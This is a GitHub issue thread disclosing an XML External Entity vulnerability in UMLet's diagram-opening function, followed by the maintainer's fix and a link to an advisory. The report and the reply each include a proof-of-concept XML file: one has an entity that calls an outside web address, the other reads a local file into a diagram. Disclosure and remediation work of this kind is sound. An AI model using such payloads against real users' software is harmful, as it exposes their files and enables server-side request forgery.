Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XXE Security Vulnerability within Umlet Open File Function #500

Closed
prodigysml opened this issue Apr 4, 2018 · 2 comments
Closed

XXE Security Vulnerability within Umlet Open File Function #500

prodigysml opened this issue Apr 4, 2018 · 2 comments

Comments

@prodigysml
Copy link

The Issue

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Where the Issue Occurred

The line of code given below create an XML parser for parsing an XML file (or a uxf file) opened and parses the data within:


This parsing is done in an insecure manner and does not prohibit the usage of XML external entities. This allows attackers to do the above-mentioned attacks on a targeted user.

Attack Scenario

An attacker could be sharing a diagram made within the Umlet software and exported as a uxf file. An example could be sharing a class diagram with a peer and exploiting that trusted relationship to perform unauthorised actions within their system (or even just downloading a class diagram online).

PoC File

File named test.uxf

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://0dd.zone">
]>
<r>&sp;</r>
@afdia
Copy link
Collaborator

afdia commented Apr 6, 2018

thanks for the report! I think I should have fixed the issue, but please let me know if you think there is more to be done.

To test the issue I have created a simple diagram:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE test [ 
    <!ENTITY xxeattack SYSTEM "file:///d:/test.txt"> 
]>
<diagram program="umlet" version="14.3.0">
  <zoom_level>10</zoom_level>
  <element>
    <id>UMLClass</id>
    <coordinates>
      <x>20</x>
      <y>20</y>
      <w>210</w>
      <h>190</h>
    </coordinates>
    <panel_attributes>test &xxeattack;</panel_attributes>
    <additional_attributes/>
  </element>
</diagram>

d:/test.txt has the content
content

When opening the diagram, the content of the file was shown


To avoid the issue I have added several SAXParser features according to:

After these changes the example diagram cannot be opened (an error is shown in the log)

There is a new umlet cfg to disable these features: secure_xml_processing=true|false (defaults to true) in case someone needs those features or has problems with the new secure settings

@afdia afdia closed this as completed Apr 6, 2018
@afdia afdia added this to the Umlet 14.3 milestone Apr 6, 2018
@prodigysml
Copy link
Author

The link to the advisory write up, for reference:
https://0dd.zone/2018/04/23/UMLet-XXE/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants